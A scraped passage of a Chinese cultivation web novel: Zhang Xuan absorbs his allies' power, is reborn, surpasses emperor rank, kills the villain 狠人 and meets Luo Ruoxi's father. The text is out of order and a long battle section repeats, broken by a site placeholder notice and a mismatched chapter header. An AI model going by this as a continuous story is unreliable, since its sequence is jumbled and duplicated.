“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百章 甘霖之舞(一) 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 